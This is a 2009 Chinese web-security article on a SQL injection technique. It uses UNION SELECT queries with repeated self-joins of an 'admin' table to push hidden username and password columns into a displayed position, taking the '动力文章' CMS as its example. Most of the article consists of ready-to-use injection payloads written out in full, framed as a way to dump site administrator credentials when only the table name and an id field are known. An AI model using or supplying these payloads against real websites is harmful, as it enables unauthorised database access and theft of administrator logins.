频道栏目
首页 > 安全 > 网站安全 > 正文

解决%90注入得到表的得不到字段的网站

2009-08-10 23:09:02           
收藏   我要投稿

来源:zake

此方法解决%90注入得到表的不到字段的网站,衷心感谢兄弟2月30日讨论!

我举动力文章的例子,他的是28个字段,加入admin表5个字段,那么

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 FROM admin
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* FROM admin
 

* 就是5个字段?这样来爆admin里边的所有表名,但注意 * 确实代表了所有admin表的字段。如果正好比如username在可显示位置,他就会显示在页面上。

技术都有局限性 这个方法需要知道表名和一个字段名id,不需要其他字段,比如什么password username 。你要问他如果不在可显示位置么,通常不知道的是表名 表段名 可以通过查找后台登陆找到,这个就要看自己的了。

大家看看这个语句

 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* FROM (admin AS a INNER JOIN admin AS b ON a.id=b.id)
 

这个(admin as a inner join admin as b on a.id=b.id)是admin表自连接,这样from 后面的表就会成为字段数加倍的表,前面18+2*5 = 28 个字段 就是合法的。* 代表的字段就会拓宽 加大username password在可显示位置的几率。

如果不在怎么办? 那么

 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* FROM (admin AS a INNER JOIN admin AS b ON a.id=b.id)
 
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* FROM (admin AS a INNER JOIN admin AS b ON a.id=b.id)
 

大家是否觉得很疑惑 18+ 2 + 5*2 = 30 > 28 但这条语句是合法的

这个地方很关键,他为什么会是合法的语句,这个地方是技术核心 必须理解。前边是 30 后边是 28 怎么可能相等?因为a.id 和 b.id在 * 里是有的,那么计算机自动去掉重复的保持集合里元素的唯一性,这样一来虽然查询效果一样,但是*里的字段排列顺序却被打乱了!先后两次打乱 很有可能让username password偏移到可显示的位置。

如果还没成功 怎么办?

 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* FROM ((admin AS a INNER JOIN admin AS b ON a.id=b.id) INNER JOIN admin AS c ON a.id=c.id)
 
UNION SELECT 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* FROM (((admin AS a INNER JOIN admin AS b ON a.id=b.id) INNER JOIN admin AS c ON a.id=c.id) INNER JOIN admin AS d ON a.id=d.id)
 

在我还没有看到这篇文章之前,我就有个思路,使用交叉查询(join on)爆列名,不过看了这

篇文章之后,感觉这个还是很局限性的,有空再自己测试研究一下,毕竟SQL语句是强大的

相关TAG标签 字段 网站
上一篇:影库联盟程序的Bug
下一篇:用sql语句批量删除MSSQL数据库木马
相关文章
图文推荐
文章
推荐
热门新闻

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站